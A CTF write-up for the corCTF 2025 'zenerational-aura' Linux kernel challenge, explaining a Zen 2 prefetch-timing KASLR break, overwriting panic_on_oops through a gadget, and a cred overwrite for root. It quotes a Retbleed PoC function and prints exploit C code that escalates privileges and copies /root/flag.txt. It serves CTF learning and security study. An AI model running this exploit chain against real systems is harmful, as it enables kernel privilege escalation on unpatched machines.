[CTF] corCTF 2025 - zenerational-aura : Powerful kernel exploitation primitive via panic_on_oops

The Amazing Digital Orange·2025년 9월 3일
0

CTF

목록 보기
11/11

We took 3rd place at corCTF under the team name The Amazing Digital Orange. Winning an award in a high-rated CTF with only four team members, including myself, was truly an amazing achievement.

Thanks To
@uz56764 (me)
@deayzl (deayzl)
@.rbtree (shpark1104)
@biluv (luv)

The pwnable challenges at corCTF were truly excellent! Among them, I’ll write a writeup for the zenerational-aura challenge. I believe most other players solved the challenge via physmap leak + Stack Pivot + KROP. In this post, I’ll cover an exploit using panic_on_oops. I’ll also briefly describe a one-shot exploit via printk that I didn’t actually get working.


1. Overview
2. Exploitation
	2-1. Breaking KASLR by exploiting prefetch uarch vulnerability
	2-2. Infinite primitives due to overwriting panic_on_oops
	2-3. Privilege escalation via cred overwrite
3. TRIVIA: one-shot exploit via printk

1. Overview


zenerational-aura is a Linux kernel exploitation challenge. From the problem description, you can tell that solving it requires using a Zen 2–related microarchitectural vulnerability.

+#include <linux/kernel.h>
+#include <linux/init.h>
+#include <linux/sched.h>
+#include <linux/syscalls.h>
+#include <linux/string.h>
+
+SYSCALL_DEFINE2(corctf_crash, uint64_t, addr, uint64_t, val)
+{
+	register uint64_t reg_val = val;
+	register void (*rip)(uint64_t) = (void (*)(uint64_t))addr;
+	asm volatile(".intel_syntax noprefix;"
+		"mov r8, rsp;"
+		"add r8, 0x100;"
+		"mov r9, 0xff;"
+		"not r9;"
+		"and r8, r9;"
+		"mov rcx, r8;"
+		"sub ecx, esp;"
+		"mov rdi, rsp;"
+		"rep stosb;"
+		".att_syntax prefix;"
+		:::"rcx","rdi","r8","r9","memory","cc");
+	rip(reg_val);
+	__builtin_unreachable();
+}
+

First, let’s analyze the diff.diff file. Its contents are very simple. It adds a custom system call called corctf_crash, and through it a user can call an arbitrary function in the kernel with an arbitrary first argument. The problem is that due to __builtin_unreachable(), the kernel immediately panics after the function executes. Because of the oops=panic setting in run.sh, even a minor kernel oops causes the entire kernel to shut down immediately.

Due to smep and smap, executing kernel shellcode from user mode or doing ROP is also impossible.

2. Exploitation


To begin with, the provided vulnerable system call has no memory-leak vector. In other words, it’s clear that we must defeat KASLR via some microarchitectural vulnerability.

2-1. Breaking KASLR by exploiting prefetch uarch vulnerability

https://bughunters.google.com/blog/6243730100977664/exploiting-retbleed-in-the-real-world

Actually, at first I didn’t think the direction was to use a simple, widely known vulnerability like Entrybleed. So I analyzed a Retbleed-related article targeting Zen 2 that reads arbitrary kernel memory values.

In that post, there was a note that they broke KASLR using a plain prefetch rather than Retbleed, which helped steer me back in the right direction.

https://github.com/google/security-research/blob/master/pocs/cpus/retbleed/poc/retbleed.c

u64 retbleed_break_text_kaslr(struct retbleed *self)
{
    u64 ret = -1;

    u64 means[KBASE_NCAND + WINDOW_SIZE_MAX] = {0};

    const u64 samples_size = (KBASE_NCAND + WINDOW_SIZE_MAX) * PREFETCH_SAMPLES * sizeof(u64);
    u64 *samples = _mmap(
        NULL, samples_size, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE,
        -1, 0
    );
    if (samples == MAP_FAILED) {
        return ret;
    }

    // Prefetch all possible base addresses of the kernel and time how long each
    // prefetch takes.
    for (u64 i = 0; i < PREFETCH_SAMPLES; i++) {
        for (u64 ii = 0; ii < KBASE_NCAND + WINDOW_SIZE_MAX; ii++) {
            _sched_yield();

            u64 kaslr_guess = KERNEL_BASE + (ii << 21);
            do_speculation_mmap(0, 0, 0, 0, 0);
            u64 time = time_prefetch((u8 *)(kaslr_guess));

            samples[i + ii * PREFETCH_SAMPLES] = time;
        }
    }

    // Sort the prefetch samples and compute the mean of the fastest 50%
    for (u64 i = 0; i < KBASE_NCAND + WINDOW_SIZE_MAX; i++) {
        sort_u64(&samples[i * PREFETCH_SAMPLES], PREFETCH_SAMPLES);
        for (u64 ii = 0; ii < PREFETCH_SAMPLES / 10; ii++) {
            means[i] += samples[i * PREFETCH_SAMPLES + ii];
        }
        means[i] /= (PREFETCH_SAMPLES / 2);
    }

    // Find which KASLR guess produced the fastest time (i.e. it was in the TLB).
    u64 fastest = UINT64_MAX;
    for(u64 i = 0; i < KBASE_NCAND; i++) {
        u64 kaslr_guess = KERNEL_BASE + (i << 21);

        u64 window_sum = 0;
        for (u64 ii = 0; ii < self->config.prefetch_window_size; ii++) {
            window_sum += means[i + ii];
        }

        if (window_sum < fastest) {
            fastest = window_sum;
            ret = kaslr_guess;
        }
    }

    _munmap(samples, samples_size);

    self->kaslr_base = ret;
    return ret;
}

Also, from that exploit you can easily get KASLR-bypass code that works perfectly on Zen 2 (the retbleed_break_text_kaslr function in that exploit).

At this point I tried to leak the physmap region via prefetch and exploit via Stack Pivot + KROP, but unfortunately I couldn’t leak the physmap region with prefetch. It appears this is because, while the kernel text region’s randomization granularity overlaps with actual allocation regions by about 23 units, the physmap’s randomization granularity is very large and has no overlapping window.

2-2. Infinite primitives due to overwriting panic_on_oops

What other exploitation route is there? What I thought of was preventing the kernel from shutting down immediately after invoking corctf_crash.

https://en.wikipedia.org/wiki/Linux_kernel_oops
In computing, an oops is a serious but non-fatal error in the Linux kernel. An oops can precede a kernel panic, but the system may continue operating in a degraded state. The term “oops” does not carry any meaning beyond being a simple error.

The reason the kernel shuts down immediately inside the corctf_crash function due to __builtin_unreachable() is that the panic_on_oops flag is enabled. If we disable this flag, we can trigger corctf_crash repeatedly. Because the panic_on_oops flag lives in a region adjacent to kernel text, if we have a kernel text leak via the prefetch vulnerability we can overwrite that variable.

By invoking a gadget via corctf_crash, we can overwrite that variable with 0. At the point corctf_crash is called, rdx is filled with 0, so I used the mov QWORD PTR [rdi+0x30], rdx gadget.

Testing shows that the kernel no longer shuts down immediately. Not only that, but various memory-region values are leaking via the kernel log. From those values we can obtain a kernel heap address, giving us direct access to the cred object.

You can find the kernel heap address in the R13 register in the kernel log!

2-3. Privilege escalation via cred overwrite

The remaining steps are simple and straightforward. Using the same mov QWORD PTR [rdi+0x30], rdx gadget as before, overwrite the permission fields of the cred object to 0 (root).

/* SPDX-License-Identifier: GPL-3.0-only */
#define _GNU_SOURCE

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <getopt.h>
#include <stdio.h>
#include <stdlib.h>
#include <sched.h>
#include <time.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/utsname.h>

#include "defs.h"
#include "proclist.h"
#include "retbleed.h"

#define fatal(...) err(EXIT_FAILURE, __VA_ARGS__)
#define fatalx(...) errx(EXIT_FAILURE, __VA_ARGS__)

#include <string.h>
#include <stdint.h>

#include <errno.h>
#include <stdbool.h>
#include <sys/wait.h>

unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long kbase = 0x0;
unsigned long prepare_kernel_cred = 0x0;
unsigned long commit_creds = 0x0;
unsigned long init_cred = 0x0;

static inline long corctf_crash(uint64_t addr, uint64_t val) {
    return syscall(470, addr, val);
}

int main(int argc, char *argv[])
{
    u64 kaslr_base = retbleed_break_text_kaslr();
    printf("[+] KASLR base: %#lx\n", kaslr_base);

    puts("Hello World");
    kbase = kaslr_base;

    uint64_t set_gadget = kbase + 0xffffffff818e56fe - 0xffffffff81000000;
    uint64_t rite = kbase + 0xffffffff82757d04 - 0xffffffff81000000;


    if(*argv[1]=='1'){
        corctf_crash(set_gadget, panic_on_oop-0x30);
    } else if(*argv[1]=='2'){

        for(int i=0x0; i<0x30;i++){
            pid_t pid = fork();
            if (pid == 0) {
                while(true){
                    sleep(1);
                    uid_t ruid = getuid();
                    if(ruid == 0)
                        break;
                }
                system("cp /root/flag.txt /tmp/flag.txt; chmod 644 /tmp/flag.txt; touch /tmp/a");
                getchar();
                exit(0);
            }
        }

        printf("target: ");
        uint64_t target = 0x0;
        scanf("%lx", &target);

        for(int ii=0x0; ii<0x1;ii++){
            pid_t pid = fork();
            if (pid == 0) {
                for(int i=0x0; i<5;i++){
                    pid_t pid = fork();
                    if (pid == 0) {
                        target = (target&0xfffffffff0000000) + 0x129cc00 + 0x8 + i*8;
                        printf("[+] target %#lx\n", target);
                        corctf_crash(set_gadget, target-0x30); // ffffffff98200000
                    } // ffffffff85c00000
                }
                exit(0);
            }
        }
        getchar();
    } else {
        puts(argv[1]);
        getchar();
    } // 0xffffffff82e00000 
}

The exploit code is shown above. By spraying cred objects, you can drive the exploit’s reliability up to 100%.

3. TRIVIA: one-shot exploit via printk

Additionally, there’s a way to leak the flag via prink. The contents of the initramfs filesystem are written into memory. In other words, the flag remains in kernel memory. This is a well-known trick. We can leak the flag by leveraging printk and the fact that kernel logs are printed on panic.

If you succeed in leaking a region other than the Kernel Text Base via a microarchitectural vulnerability, you can obtain the flag using this method.

Of course, the flag’s memory address is quite random even relative to the Kernel physmap base. However, since the challenge doesn’t have a PoW, I suspect you could obtain the flag within an hour by running the exploit in parallel.

0개의 댓글